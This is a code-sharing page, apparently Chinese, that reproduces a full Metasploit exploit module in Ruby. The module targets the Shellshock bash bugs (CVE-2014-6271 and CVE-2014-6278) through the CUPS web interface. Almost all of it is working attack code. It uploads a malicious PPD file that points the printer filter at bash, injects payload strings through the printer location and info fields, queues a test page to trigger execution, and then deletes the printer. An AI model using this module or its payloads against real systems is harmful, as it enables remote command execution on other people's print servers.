扫码分享
验证：
体验盒子|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 |
## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit4 < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'CUPS Filter Bash Environment Variable Code Injection', 'Description' => %q{ This module exploits a post-auth code injection in specially crafted environment variables in Bash, specifically targeting CUPS filters through the PRINTER_INFO and PRINTER_LOCATION variables by default. }, 'Author' => [ 'Stephane Chazelas', # Vulnerability discovery 'lcamtuf', # CVE-2014-6278 'Brendan Coles <bcoles[at]gmail.com>' # msf ], 'References' => [ ['CVE', '2014-6271'], ['CVE', '2014-6278'], ['EDB', '34765'], ['URL', 'https://access.redhat.com/articles/1200223'], ['URL', 'http://seclists.org/oss-sec/2014/q3/649'] ], 'Privileged' => false, 'Arch' => ARCH_CMD, 'Platform' => 'unix', 'Payload' => { 'Space' => 1024, 'BadChars' => "\x00\x0A\x0D", 'DisableNops' => true }, 'Compat' => { 'PayloadType' => 'cmd', 'RequiredCmd' => 'generic bash awk ruby' }, # Tested: # - CUPS version 1.4.3 on Ubuntu 10.04 (x86) # - CUPS version 1.5.3 on Debian 7 (x64) # - CUPS version 1.6.2 on Fedora 19 (x64) # - CUPS version 1.7.2 on Ubuntu 14.04 (x64) 'Targets' =>[[ 'Automatic Targeting', { 'auto' => true } ]], 'DefaultTarget' => 0, 'DisclosureDate' => 'Sep 24 2014', 'License' => MSF_LICENSE )) register_options([ Opt::RPORT(631), OptBool.new('SSL', [ true, 'Use SSL', true ]), OptString.new('USERNAME', [ true, 'CUPS username', 'root']), OptString.new('PASSWORD', [ true, 'CUPS user password', '']), OptEnum.new('CVE', [ true, 'CVE to exploit', 'CVE-2014-6271', ['CVE-2014-6271', 'CVE-2014-6278'] ]), OptString.new('RPATH', [ true, 'Target PATH for binaries', '/bin' ]) ], self.class) end # # CVE-2014-6271 # def cve_2014_6271(cmd) %{() { :;}; $(#{cmd}) & } end # # CVE-2014-6278 # def cve_2014_6278(cmd) %{() { _; } >_[$($())] { echo -e "\r\n$(#{cmd})\r\n" ; }} end # # Check credentials # def check @cookie = rand_text_alphanumeric(16) printer_name = rand_text_alphanumeric(10 + rand(5)) res = add_printer(printer_name, '') if !res vprint_error("#{peer} - No response from host") return Exploit::CheckCode::Unknown elsif res.headers['Server'] =~ /CUPS\/([\d\.]+)/ vprint_status("#{peer} - Found CUPS version #{$1}") else print_status("#{peer} - Target is not a CUPS web server") return Exploit::CheckCode::Safe end if res.body =~ /Set Default Options for #{printer_name}/ vprint_good("#{peer} - Added printer successfully") delete_printer(printer_name) elsif res.code == 401 || (res.code == 426 && datastore['SSL'] == true) vprint_error("#{peer} - Authentication failed") elsif res.code == 426 vprint_error("#{peer} - SSL required - set SSL true") end Exploit::CheckCode::Detected end # # Exploit # def exploit @cookie = rand_text_alphanumeric(16) printer_name = rand_text_alphanumeric(10 + rand(5)) # Select target CVE case datastore['CVE'] when 'CVE-2014-6278' cmd = cve_2014_6278(payload.raw) else cmd = cve_2014_6271(payload.raw) end # Add a printer containing the payload # with a CUPS filter pointing to /bin/bash res = add_printer(printer_name, cmd) if !res fail_with(Failure::Unreachable, "#{peer} - Could not add printer - Connection failed.") elsif res.body =~ /Set Default Options for #{printer_name}/ print_good("#{peer} - Added printer successfully") elsif res.code == 401 || (res.code == 426 && datastore['SSL'] == true) fail_with(Failure::NoAccess, "#{peer} - Could not add printer - Authentication failed.") elsif res.code == 426 fail_with(Failure::BadConfig, "#{peer} - Could not add printer - SSL required - set SSL true.") else fail_with(Failure::Unknown, "#{peer} - Could not add printer.") end # Add a test page to the print queue. # The print job triggers execution of the bash filter # which executes the payload in the environment variables. res = print_test_page(printer_name) if !res fail_with(Failure::Unreachable, "#{peer} - Could not add test page to print queue - Connection failed.") elsif res.body =~ /Test page sent; job ID is/ vprint_good("#{peer} - Added test page to printer queue") elsif res.code == 401 || (res.code == 426 && datastore['SSL'] == true) fail_with(Failure::NoAccess, "#{peer} - Could not add test page to print queue - Authentication failed.") elsif res.code == 426 fail_with(Failure::BadConfig, "#{peer} - Could not add test page to print queue - SSL required - set SSL true.") else fail_with(Failure::Unknown, "#{peer} - Could not add test page to print queue.") end # Delete the printer res = delete_printer(printer_name) if !res fail_with(Failure::Unreachable, "#{peer} - Could not delete printer - Connection failed.") elsif res.body =~ /has been deleted successfully/ print_status("#{peer} - Deleted printer '#{printer_name}' successfully") elsif res.code == 401 || (res.code == 426 && datastore['SSL'] == true) vprint_warning("#{peer} - Could not delete printer '#{printer_name}' - Authentication failed.") elsif res.code == 426 vprint_warning("#{peer} - Could not delete printer '#{printer_name}' - SSL required - set SSL true.") else vprint_warning("#{peer} - Could not delete printer '#{printer_name}'") end end # # Add a printer to CUPS # def add_printer(printer_name, cmd) vprint_status("#{peer} - Adding new printer '#{printer_name}'") ppd_name = "#{rand_text_alphanumeric(10 + rand(5))}.ppd" ppd_file = <<-EOF *PPD-Adobe: "4.3" *%==== General Information Keywords ======================== *FormatVersion: "4.3" *FileVersion: "1.00" *LanguageVersion: English *LanguageEncoding: ISOLatin1 *PCFileName: "#{ppd_name}" *Manufacturer: "Brother" *Product: "(Brother MFC-3820CN)" *1284DeviceID: "MFG:Brother;MDL:MFC-3820CN" *cupsVersion: 1.1 *cupsManualCopies: False *cupsFilter: "application/vnd.cups-postscript 0 #{datastore['RPATH']}/bash" *cupsModelNumber: #{rand(10) + 1} *ModelName: "Brother MFC-3820CN" *ShortNickName: "Brother MFC-3820CN" *NickName: "Brother MFC-3820CN CUPS v1.1" *% *%==== Basic Device Capabilities ============= *LanguageLevel: "3" *ColorDevice: True *DefaultColorSpace: RGB *FileSystem: False *Throughput: "12" *LandscapeOrientation: Plus90 *VariablePaperSize: False *TTRasterizer: Type42 *FreeVM: "1700000" *DefaultOutputOrder: Reverse *%==== Media Selection ====================== *OpenUI *PageSize/Media Size: PickOne *OrderDependency: 18 AnySetup *PageSize *DefaultPageSize: BrLetter *PageSize BrA4/A4:"<</PageSize[595 842]/ImagingBBox null>>setpagedevice" *PageSize BrLetter/Letter:"<</PageSize[612 792]/ImagingBBox null>>setpagedevice" EOF pd = Rex::MIME::Message.new pd.add_part(ppd_file, 'application/octet-stream', nil, %(form-data; name="PPD_FILE"; filename="#{ppd_name}")) pd.add_part("#{@cookie}", nil, nil, %(form-data; name="org.cups.sid")) pd.add_part("add-printer", nil, nil, %(form-data; name="OP")) pd.add_part("#{printer_name}", nil, nil, %(form-data; name="PRINTER_NAME")) pd.add_part("", nil, nil, %(form-data; name="PRINTER_INFO")) # injectable pd.add_part("#{cmd}", nil, nil, %(form-data; name="PRINTER_LOCATION")) # injectable pd.add_part("file:///dev/null", nil, nil, %(form-data; name="DEVICE_URI")) data = pd.to_s data.strip! send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'admin'), 'ctype' => "multipart/form-data; boundary=#{pd.bound}", 'data' => data, 'cookie' => "org.cups.sid=#{@cookie};", 'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']) ) end # # Queue a printer test page # def print_test_page(printer_name) vprint_status("#{peer} - Adding test page to printer queue") send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'printers', printer_name), 'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']), 'cookie' => "org.cups.sid=#{@cookie}", 'vars_post' => { 'org.cups.sid' => @cookie, 'OP' => 'print-test-page' } ) end # # Delete a printer # def delete_printer(printer_name) vprint_status("#{peer} - Deleting printer '#{printer_name}'") send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'admin'), 'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']), 'cookie' => "org.cups.sid=#{@cookie}", 'vars_post' => { 'org.cups.sid' => @cookie, 'OP' => 'delete-printer', 'printer_name' => printer_name, 'confirm' => 'Delete Printer' } ) end end |
体验盒子
